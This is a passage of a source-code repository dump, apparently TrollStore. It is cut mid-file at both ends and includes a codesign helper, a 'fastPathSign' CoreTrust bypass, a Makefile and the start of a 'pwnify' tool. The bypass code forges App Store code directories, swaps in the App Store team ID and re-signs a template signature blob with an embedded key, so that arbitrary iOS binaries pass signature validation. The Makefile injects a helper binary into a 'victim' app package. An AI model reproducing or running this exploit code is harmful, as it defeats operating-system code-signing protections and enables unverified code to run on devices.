kSecCSPreserveEntitlements = 1 << 2, 53 | kSecCSPreserveResourceRules = 1 << 3, 54 | kSecCSPreserveFlags = 1 << 4, 55 | kSecCSPreserveTeamIdentifier = 1 << 5, 56 | kSecCSPreserveDigestAlgorithm = 1 << 6, 57 | kSecCSPreservePreEncryptHashes = 1 << 7, 58 | kSecCSPreserveRuntime = 1 << 8, 59 | }; 60 | 61 | // SecCodeSigner.h 62 | #ifdef BRIDGED_SECCODESIGNER 63 | typedef struct CF_BRIDGED_TYPE(id) __SecCodeSigner* SecCodeSignerRef SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0)); 64 | #else 65 | typedef struct __SecCodeSigner* SecCodeSignerRef SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0)); 66 | #endif 67 | 68 | const CFStringRef kSecCodeSignerApplicationData = CFSTR("application-specific"); 69 | const CFStringRef kSecCodeSignerDetached = CFSTR("detached"); 70 | const CFStringRef kSecCodeSignerDigestAlgorithm = CFSTR("digest-algorithm"); 71 | const CFStringRef kSecCodeSignerDryRun = CFSTR("dryrun"); 72 | const CFStringRef kSecCodeSignerEntitlements = CFSTR("entitlements"); 73 | const CFStringRef kSecCodeSignerFlags = CFSTR("flags"); 74 | const CFStringRef kSecCodeSignerIdentifier = CFSTR("identifier"); 75 | const CFStringRef kSecCodeSignerIdentifierPrefix = CFSTR("identifier-prefix"); 76 | const CFStringRef kSecCodeSignerIdentity = CFSTR("signer"); 77 | const CFStringRef kSecCodeSignerPageSize = CFSTR("pagesize"); 78 | const CFStringRef kSecCodeSignerRequirements = CFSTR("requirements"); 79 | const CFStringRef kSecCodeSignerResourceRules = CFSTR("resource-rules"); 80 | const CFStringRef kSecCodeSignerSDKRoot = CFSTR("sdkroot"); 81 | const CFStringRef kSecCodeSignerSigningTime = CFSTR("signing-time"); 82 | const CFStringRef kSecCodeSignerRequireTimestamp = CFSTR("timestamp-required"); 83 | const CFStringRef kSecCodeSignerTimestampServer = CFSTR("timestamp-url"); 84 | const CFStringRef kSecCodeSignerTimestampAuthentication = CFSTR("timestamp-authentication"); 85 | const CFStringRef kSecCodeSignerTimestampOmitCertificates = CFSTR("timestamp-omit-certificates"); 86 | const CFStringRef kSecCodeSignerPreserveMetadata = CFSTR("preserve-metadata"); 87 | const CFStringRef kSecCodeSignerTeamIdentifier = CFSTR("teamidentifier"); 88 | const CFStringRef kSecCodeSignerPlatformIdentifier = CFSTR("platform-identifier"); 89 | 90 | #ifdef BRIDGED_SECCODESIGNER 91 | OSStatus SecCodeSignerCreate(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef* __nonnull CF_RETURNS_RETAINED signer) 92 | SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0)); 93 | #else 94 | OSStatus SecCodeSignerCreate(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef* signer) 95 | SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0)); 96 | #endif 97 | 98 | OSStatus SecCodeSignerAddSignatureWithErrors(SecCodeSignerRef signer, SecStaticCodeRef code, SecCSFlags flags, CFErrorRef* errors) 99 | SPI_AVAILABLE(macos(10.5), ios(15.0), macCatalyst(13.0)); 100 | 101 | // SecCodePriv.h 102 | extern const CFStringRef kSecCodeInfoResourceDirectory; /* Internal */ 103 | 104 | #ifdef __cplusplus 105 | } 106 | #endif 107 | 108 | int codesign_sign_adhoc(const char *path, bool preserveMetadata, NSDictionary *customEntitlements) 109 | { 110 | // We need to do this shit because iOS 14 does not have the symbol 111 | OSStatus (*__SecCodeSignerCreate)(CFDictionaryRef parameters, SecCSFlags flags, SecCodeSignerRef *signerRef) = dlsym(RTLD_DEFAULT, "SecCodeSignerCreate"); 112 | OSStatus (*__SecCodeSignerAddSignatureWithErrors)(SecCodeSignerRef signerRef, SecStaticCodeRef codeRef, SecCSFlags flags, CFErrorRef *errors) = dlsym(RTLD_DEFAULT, "SecCodeSignerAddSignatureWithErrors"); 113 | // if this is not found, all bets are off 114 | if (!__SecCodeSignerCreate) return 404; 115 | if (!__SecCodeSignerAddSignatureWithErrors) return 404; 116 | 117 | NSString *filePath = [NSString stringWithUTF8String:path]; 118 | OSStatus status = 0; 119 | int retval = 200; 120 | 121 | // the special value "-" (dash) indicates ad-hoc signing 122 | SecIdentityRef identity = (SecIdentityRef)kCFNull; 123 | NSMutableDictionary* parameters = [[NSMutableDictionary alloc] init]; 124 | parameters[(__bridge NSString*)kSecCodeSignerIdentity] = (__bridge id)identity; 125 | uint64_t preserveMetadataFlags = 0; 126 | if (preserveMetadata) { 127 | preserveMetadataFlags = (kSecCSPreserveIdentifier | kSecCSPreserveRequirements | kSecCSPreserveResourceRules); 128 | if (!customEntitlements) { 129 | preserveMetadataFlags |= kSecCSPreserveEntitlements; 130 | } 131 | parameters[(__bridge NSString*)kSecCodeSignerPreserveMetadata] = @(preserveMetadataFlags); 132 | } 133 | 134 | if (customEntitlements) { 135 | NSError *error; 136 | NSData *xmlData = [NSPropertyListSerialization dataWithPropertyList:customEntitlements format:NSPropertyListXMLFormat_v1_0 options:0 error:&error]; 137 | if (!xmlData) { 138 | NSLog(@"Failed to encode entitlements: %@", error); 139 | return -1; 140 | } 141 | else { 142 | // Super easy to use API, definitely not busted... 143 | // Did I forget to mention it just segfaults if you don't add this prefix? 144 | uint32_t entitlementsData[xmlData.length+8]; 145 | entitlementsData[0] = OSSwapHostToBigInt32(0xFADE7171); 146 | entitlementsData[1] = OSSwapHostToBigInt32(xmlData.length+8); 147 | [xmlData getBytes:&entitlementsData[2] length:xmlData.length]; 148 | parameters[(__bridge NSString*)kSecCodeSignerEntitlements] = [NSData dataWithBytes:entitlementsData length:xmlData.length+8]; 149 | } 150 | } 151 | 152 | SecCodeSignerRef signerRef; 153 | status = __SecCodeSignerCreate((__bridge CFDictionaryRef)parameters, kSecCSDefaultFlags, &signerRef); 154 | if (status == 0) { 155 | SecStaticCodeRef code; 156 | status = SecStaticCodeCreateWithPathAndAttributes((__bridge CFURLRef)[NSURL fileURLWithPath:filePath], kSecCSDefaultFlags, (__bridge CFDictionaryRef)@{}, &code); 157 | if (status == 0) { 158 | CFErrorRef errors; 159 | status = __SecCodeSignerAddSignatureWithErrors(signerRef, code, kSecCSDefaultFlags, &errors); 160 | if (status == 0) { 161 | CFDictionaryRef newSigningInformation; 162 | // Difference from codesign: added kSecCSSigningInformation, kSecCSRequirementInformation, kSecCSInternalInformation 163 | status = SecCodeCopySigningInformation(code, kSecCSDefaultFlags | kSecCSSigningInformation | kSecCSRequirementInformation | kSecCSInternalInformation, &newSigningInformation); 164 | if (status == 0) { 165 | retval = 0; 166 | CFRelease(newSigningInformation); 167 | } else { 168 | retval = 203; 169 | } 170 | } 171 | else { 172 | printf("Error while signing: %s\n", ((__bridge NSError *)errors).description.UTF8String); 173 | } 174 | CFRelease(code); 175 | } 176 | else { 177 | retval = 202; 178 | } 179 | CFRelease(signerRef); 180 | } 181 | else { 182 | retval = 201; 183 | } 184 | 185 | return retval; 186 | } 187 | -------------------------------------------------------------------------------- /Exploits/fastPathSign/src/coretrust_bug.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "CSBlob.h" 7 | #include "MachOByteOrder.h" 8 | #include "MachO.h" 9 | #include "Host.h" 10 | #include "MemoryStream.h" 11 | #include "FileStream.h" 12 | #include "BufferedStream.h" 13 | #include "SignOSSL.h" 14 | #include "CodeDirectory.h" 15 | #include "Base64.h" 16 | #include "Templates/AppStoreCodeDirectory.h" 17 | #include "Templates/SignatureBlob.h" 18 | #include "Templates/DecryptedSignature.h" 19 | #include "Templates/PrivateKey.h" 20 | 21 | // We can use static offsets here because we use a template signature blob 22 | #define SIGNED_ATTRS_OFFSET 0x13C6 // SignedAttributes sequence 23 | #define HASHHASH_OFFSET 0x1470 // SHA256 hash SignedAttribute 24 | #define BASEBASE_OFFSET 0x15AD // Base64 hash SignedAttribute 25 | #define SIGNSIGN_OFFSET 0x1602 // Signature 26 | 27 | #define DECRYPTED_SIGNATURE_HASH_OFFSET 0x13 28 | 29 | int update_signature_blob(CS_DecodedSuperBlob *superblob) 30 | { 31 | CS_DecodedBlob *sha256CD = csd_superblob_find_blob(superblob, CSSLOT_ALTERNATE_CODEDIRECTORIES, NULL); 32 | if (!sha256CD) { 33 | printf("Could not find CodeDirectory blob!\n"); 34 | return -1; 35 | } 36 | CS_DecodedBlob *signatureBlob = csd_superblob_find_blob(superblob, CSSLOT_SIGNATURESLOT, NULL); 37 | if (!signatureBlob) { 38 | printf("Could not find signature blob!\n"); 39 | return -1; 40 | } 41 | 42 | uint8_t fullHash[CC_SHA256_DIGEST_LENGTH]; 43 | size_t dataSizeToRead = csd_blob_get_size(sha256CD); 44 | uint8_t *data = malloc(dataSizeToRead); 45 | memset(data, 0, dataSizeToRead); 46 | csd_blob_read(sha256CD, 0, dataSizeToRead, data); 47 | CC_SHA256(data, (CC_LONG)dataSizeToRead, fullHash); 48 | free(data); 49 | uint8_t secondCDSHA256Hash[CC_SHA256_DIGEST_LENGTH]; 50 | memcpy(secondCDSHA256Hash, fullHash, CC_SHA256_DIGEST_LENGTH); 51 | // Print the hash 52 | printf("SHA256 hash: "); 53 | for (int i = 0; i < CC_SHA256_DIGEST_LENGTH; i++) { 54 | printf("%02x", secondCDSHA256Hash[i]); 55 | } 56 | printf("\n"); 57 | 58 | size_t base64OutLength = 0; 59 | char *newBase64Hash = base64_encode(secondCDSHA256Hash, CC_SHA1_DIGEST_LENGTH, &base64OutLength); 60 | if (!newBase64Hash) { 61 | printf("Failed to base64 encode hash!\n"); 62 | return -1; 63 | } 64 | 65 | // Print the base64 hash 66 | printf("Base64 hash: %.*s\n", CC_SHA256_DIGEST_LENGTH, newBase64Hash); 67 | 68 | int ret = csd_blob_write(signatureBlob, HASHHASH_OFFSET, CC_SHA256_DIGEST_LENGTH, secondCDSHA256Hash); 69 | if (ret != 0) { 70 | printf("Failed to write SHA256 hash to signature blob!\n"); 71 | free(newBase64Hash); 72 | return -1; 73 | } 74 | 75 | ret = csd_blob_write(signatureBlob, BASEBASE_OFFSET, base64OutLength, newBase64Hash); 76 | if (ret != 0) { 77 | printf("Failed to write base64 hash to signature blob!\n"); 78 | free(newBase64Hash); 79 | return -1; 80 | } 81 | 82 | free(newBase64Hash); 83 | 84 | unsigned char *newSignature = NULL; 85 | size_t newSignatureSize = 0; 86 | 87 | unsigned char newDecryptedSignature[0x33]; 88 | memset(newDecryptedSignature, 0, 0x33); 89 | memcpy(newDecryptedSignature, DecryptedSignature, 0x33); 90 | 91 | // Get the signed attributes hash 92 | unsigned char signedAttrs[0x229]; 93 | memset(signedAttrs, 0, 0x229); 94 | csd_blob_read(signatureBlob, SIGNED_ATTRS_OFFSET, 0x229, signedAttrs); 95 | signedAttrs[0] = 0x31; 96 | 97 | // Hash 98 | uint8_t fullAttributesHash[CC_SHA256_DIGEST_LENGTH]; 99 | CC_SHA256(signedAttrs, (CC_LONG)0x229, fullAttributesHash); 100 | memcpy(newDecryptedSignature + DECRYPTED_SIGNATURE_HASH_OFFSET, fullAttributesHash, CC_SHA256_DIGEST_LENGTH); 101 | 102 | newSignature = signWithRSA(newDecryptedSignature, DecryptedSignature_len, CAKey, CAKeyLength, &newSignatureSize); 103 | 104 | if (!newSignature) { 105 | printf("Failed to sign the decrypted signature!\n"); 106 | return -1; 107 | } 108 | 109 | if (newSignatureSize != 0x100) { 110 | printf("The new signature is not the correct size!\n"); 111 | free(newSignature); 112 | return -1; 113 | } 114 | 115 | ret = csd_blob_write(signatureBlob, SIGNSIGN_OFFSET, newSignatureSize, newSignature); 116 | free(newSignature); 117 | return ret; 118 | } 119 | 120 | int apply_coretrust_bypass(const char *machoPath) 121 | { 122 | MachO *macho = macho_init_for_writing(machoPath); 123 | if (!macho) return -1; 124 | 125 | if (macho_is_encrypted(macho)) { 126 | printf("Error: MachO is encrypted, please use a decrypted app!\n"); 127 | macho_free(macho); 128 | return 2; 129 | } 130 | 131 | CS_SuperBlob *superblob = macho_read_code_signature(macho); 132 | if (!superblob) { 133 | printf("Error: no code signature found, please fake-sign the binary at minimum before running the bypass.\n"); 134 | return -1; 135 | } 136 | 137 | CS_DecodedSuperBlob *decodedSuperblob = csd_superblob_decode(superblob); 138 | uint64_t originalCodeSignatureSize = BIG_TO_HOST(superblob->length); 139 | free(superblob); 140 | 141 | CS_DecodedBlob *realCodeDirBlob = NULL; 142 | CS_DecodedBlob *mainCodeDirBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_CODEDIRECTORY, NULL); 143 | CS_DecodedBlob *alternateCodeDirBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_ALTERNATE_CODEDIRECTORIES, NULL); 144 | 145 | if (!mainCodeDirBlob) { 146 | printf("Error: Unable to find code directory, make sure the input binary is ad-hoc signed.\n"); 147 | return -1; 148 | } 149 | 150 | // We need to determine which code directory to transfer to the new binary 151 | if (alternateCodeDirBlob) { 152 | // If an alternate code directory exists, use that and remove the main one from the superblob 153 | realCodeDirBlob = alternateCodeDirBlob; 154 | csd_superblob_remove_blob(decodedSuperblob, mainCodeDirBlob); 155 | csd_blob_free(mainCodeDirBlob); 156 | } 157 | else { 158 | // Otherwise use the main code directory 159 | realCodeDirBlob = mainCodeDirBlob; 160 | } 161 | 162 | if (csd_code_directory_get_hash_type(realCodeDirBlob) != CS_HASHTYPE_SHA256_256) { 163 | printf("Error: Alternate code directory is not SHA256, bypass won't work!\n"); 164 | return -1; 165 | } 166 | 167 | printf("Applying App Store code directory...\n"); 168 | 169 | // Append real code directory as alternateCodeDirectory at the end of superblob 170 | csd_superblob_remove_blob(decodedSuperblob, realCodeDirBlob); 171 | csd_blob_set_type(realCodeDirBlob, CSSLOT_ALTERNATE_CODEDIRECTORIES); 172 | csd_superblob_append_blob(decodedSuperblob, realCodeDirBlob); 173 | 174 | // Insert AppStore code directory as main code directory at the start 175 | CS_DecodedBlob *appStoreCodeDirectoryBlob = csd_blob_init(CSSLOT_CODEDIRECTORY, (CS_GenericBlob *)AppStoreCodeDirectory); 176 | csd_superblob_insert_blob_at_index(decodedSuperblob, appStoreCodeDirectoryBlob, 0); 177 | 178 | printf("Adding new signature blob...\n"); 179 | CS_DecodedBlob *signatureBlob = csd_superblob_find_blob(decodedSuperblob, CSSLOT_SIGNATURESLOT, NULL); 180 | if (signatureBlob) { 181 | // Remove existing signatureBlob if existant 182 | csd_superblob_remove_blob(decodedSuperblob, signatureBlob); 183 | csd_blob_free(signatureBlob); 184 | } 185 | 186 | // Append new template blob 187 | signatureBlob = csd_blob_init(CSSLOT_SIGNATURESLOT, (CS_GenericBlob *)TemplateSignatureBlob); 188 | csd_superblob_append_blob(decodedSuperblob, signatureBlob); 189 | 190 | // After Modification: 191 | // 1. App Store CodeDirectory (SHA1) 192 | // ?. Requirements 193 | // ?. Entitlements 194 | // ?. DER entitlements 195 | // 5. Actual CodeDirectory (SHA256) 196 | // 6. Signature blob 197 | 198 | printf("Updating TeamID...\n"); 199 | 200 | // Get team ID from AppStore code directory 201 | // For the bypass to work, both code directories need to have the same team ID 202 | char *appStoreTeamID = csd_code_directory_copy_team_id(appStoreCodeDirectoryBlob, NULL); 203 | if (!appStoreTeamID) { 204 | printf("Error: Unable to determine AppStore Team ID\n"); 205 | return -1; 206 | } 207 | 208 | // Set the team ID of the real code directory to the AppStore one 209 | if (csd_code_directory_set_team_id(realCodeDirBlob, appStoreTeamID) != 0) { 210 | printf("Error: Failed to set Team ID\n"); 211 | return -1; 212 | } 213 | 214 | printf("TeamID set to %s!\n", appStoreTeamID); 215 | free(appStoreTeamID); 216 | 217 | // Set flags to 0 to remove any problematic flags (such as the 'adhoc' flag in bit 2) 218 | csd_code_directory_set_flags(realCodeDirBlob, 0); 219 | 220 | printf("Encoding unsigned superblob...\n"); 221 | CS_SuperBlob *encodedSuperblobUnsigned = csd_superblob_encode(decodedSuperblob); 222 | 223 | printf("Updating load commands...\n"); 224 | if (update_load_commands_for_coretrust_bypass(macho, encodedSuperblobUnsigned, originalCodeSignatureSize, memory_stream_get_size(macho->stream)) != 0) { 225 | printf("Error: failed to update load commands!\n"); 226 | return -1; 227 | } 228 | free(encodedSuperblobUnsigned); 229 | 230 | printf("Updating code slot hashes...\n"); 231 | csd_code_directory_update(realCodeDirBlob, macho); 232 | 233 | int ret = 0; 234 | printf("Signing binary...\n"); 235 | ret = update_signature_blob(decodedSuperblob); 236 | if(ret == -1) { 237 | printf("Error: failed to create new signature blob!\n"); 238 | return -1; 239 | } 240 | 241 | printf("Encoding signed superblob...\n"); 242 | CS_SuperBlob *newSuperblob = csd_superblob_encode(decodedSuperblob); 243 | 244 | printf("Writing superblob to MachO...\n"); 245 | // Write the new signed superblob to the MachO 246 | macho_replace_code_signature(macho, newSuperblob); 247 | 248 | csd_superblob_free(decodedSuperblob); 249 | free(newSuperblob); 250 | 251 | macho_free(macho); 252 | return 0; 253 | } -------------------------------------------------------------------------------- /Exploits/fastPathSign/src/coretrust_bug.h: -------------------------------------------------------------------------------- 1 | int apply_coretrust_bypass(const char *machoPath); -------------------------------------------------------------------------------- /Exploits/fastPathSign/src/main.m: -------------------------------------------------------------------------------- 1 | #include "codesign.h" 2 | #include "coretrust_bug.h" 3 | #include "FAT.h" 4 | #include "MachO.h" 5 | #include "FileStream.h" 6 | #include "Host.h" 7 | #include 8 | 9 | char *extract_preferred_slice(const char *fatPath) 10 | { 11 | FAT *fat = fat_init_from_path(fatPath); 12 | if (!fat) return NULL; 13 | MachO *macho = fat_find_preferred_slice(fat); 14 | 15 | #if TARGET_OS_MAC && !TARGET_OS_IPHONE 16 | if (!macho) { 17 | // Check for arm64v8 first 18 | macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64_V8); 19 | if (!macho) { 20 | // If that fails, check for regular arm64 21 | macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64_ALL); 22 | if (!macho) { 23 | // If that fails, check for arm64e 24 | macho = fat_find_slice(fat, CPU_TYPE_ARM64, CPU_SUBTYPE_ARM64E); 25 | if (!macho) { 26 | fat_free(fat); 27 | return NULL; 28 | } 29 | } 30 | } 31 | } 32 | #else 33 | if (!macho) { 34 | fat_free(fat); 35 | return NULL; 36 | } 37 | #endif // TARGET_OS_MAC && !TARGET_OS_IPHONE 38 | 39 | char *temp = strdup("/tmp/XXXXXX"); 40 | int fd = mkstemp(temp); 41 | 42 | MemoryStream *outStream = file_stream_init_from_path(temp, 0, 0, FILE_STREAM_FLAG_WRITABLE | FILE_STREAM_FLAG_AUTO_EXPAND); 43 | MemoryStream *machoStream = macho_get_stream(macho); 44 | memory_stream_copy_data(machoStream, 0, outStream, 0, memory_stream_get_size(machoStream)); 45 | 46 | fat_free(fat); 47 | memory_stream_free(outStream); 48 | close(fd); 49 | return temp; 50 | } 51 | 52 | 53 | int main(int argc, char *argv[]) { 54 | if (argc < 2) return -1; 55 | 56 | char *input = argv[argc-1]; 57 | 58 | NSDictionary *customEntitlements = nil; 59 | if (argc == 4) { 60 | if (!strcmp(argv[1], "--entitlements")) { 61 | NSString *entitlementsPath = [NSString stringWithUTF8String:argv[2]]; 62 | customEntitlements = [NSDictionary dictionaryWithContentsOfFile:entitlementsPath]; 63 | } 64 | } 65 | 66 | int r = codesign_sign_adhoc(input, true, customEntitlements); 67 | if (r != 0) { 68 | printf("Failed adhoc signing (%d) Continuing anyways...\n", r); 69 | } 70 | else { 71 | printf("AdHoc signed file!\n"); 72 | } 73 | 74 | char *machoPath = extract_preferred_slice(input); 75 | printf("Extracted best slice to %s\n", machoPath); 76 | 77 | printf("Applying CoreTrust bypass...\n"); 78 | 79 | r = apply_coretrust_bypass(machoPath); 80 | 81 | if (r != 0) { 82 | printf("Failed applying CoreTrust bypass\n"); 83 | return r; 84 | } 85 | 86 | if (copyfile(machoPath, input, 0, COPYFILE_ALL | COPYFILE_MOVE | COPYFILE_UNLINK) == 0) { 87 | chmod(input, 0755); 88 | printf("Applied CoreTrust Bypass!\n"); 89 | } 90 | else { 91 | perror("copyfile"); 92 | return -1; 93 | } 94 | 95 | free(machoPath); 96 | return 0; 97 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/ 2 | Upstream-Name: TrollStore 3 | Upstream-Contact: opa334 4 | Source: https://github.com/opa334/TrollStore 5 | 6 | Files: * 7 | Copyright: 2022-2024 Lars Fröder 8 | License: MIT 9 | 10 | Files: RootHelper/uicache.m 11 | Copyright: Copyright (c) 2019 CoolStar, 12 | Modified work Copyright (c) 2020-2022 Procursus Team 13 | Modified work Copyright (c) 2022-2024 Lars Fröder 14 | License: BSD-4-Clause 15 | 16 | License: BSD-4-Clause 17 | Redistribution and use in source and binary forms, with or without 18 | modification, are permitted provided that the following conditions 19 | are met: 20 | 1. Redistributions of source code must retain the above copyright 21 | notice, this list of conditions and the following disclaimer. 22 | 2. Redistributions in binary form must reproduce the above copyright 23 | notice, this list of conditions and the following disclaimer in the 24 | documentation and/or other materials provided with the distribution. 25 | 3. All advertising materials mentioning features or use of this software 26 | must display the following acknowledgement: 27 | This product includes software developed by CoolStar. 28 | 4. Neither the name of the copyright holder nor the names of its contributors 29 | may be used to endorse or promote products derived from this software 30 | without specific prior written permission. 31 | . 32 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 33 | ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 34 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 35 | A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE HOLDERS OR 36 | CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 37 | EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 38 | PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR 39 | PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF 40 | LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING 41 | NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 42 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 43 | 44 | License: MIT 45 | Permission is hereby granted, free of charge, to any person obtaining a 46 | copy of this software and associated documentation files (the "Software"), 47 | to deal in the Software without restriction, including without limitation 48 | the rights to use, copy, modify, merge, publish, distribute, sublicense, 49 | and/or sell copies of the Software, and to permit persons to whom the 50 | Software is furnished to do so, subject to the following conditions: 51 | 52 | The above copyright notice and this permission notice shall be included 53 | in all copies or substantial portions of the Software. 54 | 55 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS 56 | OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 57 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 58 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR 59 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 60 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 61 | OTHER DEALINGS IN THE SOFTWARE. -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | TOPTARGETS := all clean update 2 | 3 | $(TOPTARGETS): pre_build make_fastPathSign make_roothelper make_trollstore make_trollhelper_embedded make_trollhelper_package assemble_trollstore build_installer15 build_installer64e 4 | 5 | pre_build: 6 | @rm -rf ./_build 2>/dev/null || true 7 | @mkdir -p ./_build 8 | 9 | make_fastPathSign: 10 | @$(MAKE) -C ./Exploits/fastPathSign $(MAKECMDGOALS) 11 | 12 | make_roothelper: 13 | @$(MAKE) -C ./RootHelper FINALPACKAGE=1 $(MAKECMDGOALS) 14 | 15 | make_trollstore: 16 | @$(MAKE) -C ./TrollStore FINALPACKAGE=1 $(MAKECMDGOALS) 17 | 18 | ifneq ($(MAKECMDGOALS),clean) 19 | 20 | make_trollhelper_package: 21 | @$(MAKE) clean -C ./TrollHelper 22 | @cp ./RootHelper/.theos/obj/trollstorehelper ./TrollHelper/Resources/trollstorehelper 23 | @$(MAKE) -C ./TrollHelper FINALPACKAGE=1 package $(MAKECMDGOALS) 24 | @$(MAKE) clean -C ./TrollHelper 25 | @$(MAKE) -C ./TrollHelper THEOS_PACKAGE_SCHEME=rootless FINALPACKAGE=1 package $(MAKECMDGOALS) 26 | @rm ./TrollHelper/Resources/trollstorehelper 27 | 28 | make_trollhelper_embedded: 29 | @$(MAKE) clean -C ./TrollHelper 30 | @$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 $(MAKECMDGOALS) 31 | @cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded 32 | @$(MAKE) clean -C ./TrollHelper 33 | @$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 LEGACY_CT_BUG=1 $(MAKECMDGOALS) 34 | @cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded_Legacy_arm64 35 | @$(MAKE) clean -C ./TrollHelper 36 | @$(MAKE) -C ./TrollHelper FINALPACKAGE=1 EMBEDDED_ROOT_HELPER=1 CUSTOM_ARCHS=arm64e $(MAKECMDGOALS) 37 | @cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./_build/PersistenceHelper_Embedded_Legacy_arm64e 38 | @$(MAKE) clean -C ./TrollHelper 39 | 40 | assemble_trollstore: 41 | @cp ./RootHelper/.theos/obj/trollstorehelper ./TrollStore/.theos/obj/TrollStore.app/trollstorehelper 42 | @cp ./TrollHelper/.theos/obj/TrollStorePersistenceHelper.app/TrollStorePersistenceHelper ./TrollStore/.theos/obj/TrollStore.app/PersistenceHelper 43 | @export COPYFILE_DISABLE=1 44 | @tar -czvf ./_build/TrollStore.tar -C ./TrollStore/.theos/obj TrollStore.app 45 | 46 | build_installer15: 47 | @mkdir -p ./_build/tmp15 48 | @unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp15 49 | @cp ./_build/PersistenceHelper_Embedded_Legacy_arm64 ./_build/TrollStorePersistenceHelperToInject 50 | @pwnify set-cpusubtype ./_build/TrollStorePersistenceHelperToInject 1 51 | @ldid -s -K./Victim/victim.p12 ./_build/TrollStorePersistenceHelperToInject 52 | APP_PATH=$$(find ./_build/tmp15/Payload -name "*" -depth 1) ; \ 53 | APP_NAME=$$(basename $$APP_PATH) ; \ 54 | BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \ 55 | echo $$BINARY_NAME ; \ 56 | pwnify pwn ./_build/tmp15/Payload/$$APP_NAME/$$BINARY_NAME ./_build/TrollStorePersistenceHelperToInject 57 | @pushd ./_build/tmp15 ; \ 58 | zip -vrD ../../_build/TrollHelper_iOS15.ipa * ; \ 59 | popd 60 | @rm ./_build/TrollStorePersistenceHelperToInject 61 | @rm -rf ./_build/tmp15 62 | 63 | build_installer64e: 64 | @mkdir -p ./_build/tmp64e 65 | @unzip ./Victim/InstallerVictim.ipa -d ./_build/tmp64e 66 | APP_PATH=$$(find ./_build/tmp64e/Payload -name "*" -depth 1) ; \ 67 | APP_NAME=$$(basename $$APP_PATH) ; \ 68 | BINARY_NAME=$$(echo "$$APP_NAME" | cut -f 1 -d '.') ; \ 69 | echo $$BINARY_NAME ; \ 70 | pwnify pwn64e ./_build/tmp64e/Payload/$$APP_NAME/$$BINARY_NAME ./_build/PersistenceHelper_Embedded_Legacy_arm64e 71 | @pushd ./_build/tmp64e ; \ 72 | zip -vrD ../../_build/TrollHelper_arm64e.ipa * ; \ 73 | popd 74 | @rm -rf ./_build/tmp64e 75 | 76 | endif 77 | 78 | .PHONY: $(TOPTARGETS) pre_build assemble_trollstore make_trollhelper_package make_trollhelper_embedded build_installer15 build_installer64e -------------------------------------------------------------------------------- /Pwnify/Makefile: -------------------------------------------------------------------------------- 1 | pwnify: 2 | @clang main.m -fobjc-arc -fmodules -mmacosx-version-min=11.0 -o pwnify 3 | 4 | install: pwnify 5 | -@sudo rm /usr/local/bin/pwnify 2>/dev/null || true 6 | @sudo cp ./pwnify /usr/local/bin/pwnify 7 | 8 | clean: 9 | @rm ./pwnify 2>/dev/null || true -------------------------------------------------------------------------------- /Pwnify/main.m: -------------------------------------------------------------------------------- 1 | // 2 | // main.m 3 | // pwnify-universal 4 | // 5 | // Created by Lars Fröder on 08.10.22. 6 | // 7 | 8 | #import 9 | 10 | #import 11 | #import 12 | #import 13 | 14 | #define ALIGN_DEFAULT 0xE 15 | 16 | uint32_t roundUp(int numToRound, int multiple) 17 | { 18 | if (multiple == 0) 19 | return numToRound; 20 | 21 | int remainder = numToRound % multiple; 22 | if (remainder == 0) 23 | return numToRound; 24 | 25 | return numToRound + multiple - remainder; 26 | } 27 | 28 | void expandFile(FILE* file, uint32_t size) 29 | { 30 | fseek(file, 0, SEEK_END); 31 | if(ftell(file) >= size) return; 32 | 33 | while(ftell(file) != size) 34 | { 35 | char c = 0; 36 | fwrite(&c, 1, 1, file); 37 | } 38 | } 39 | 40 | void 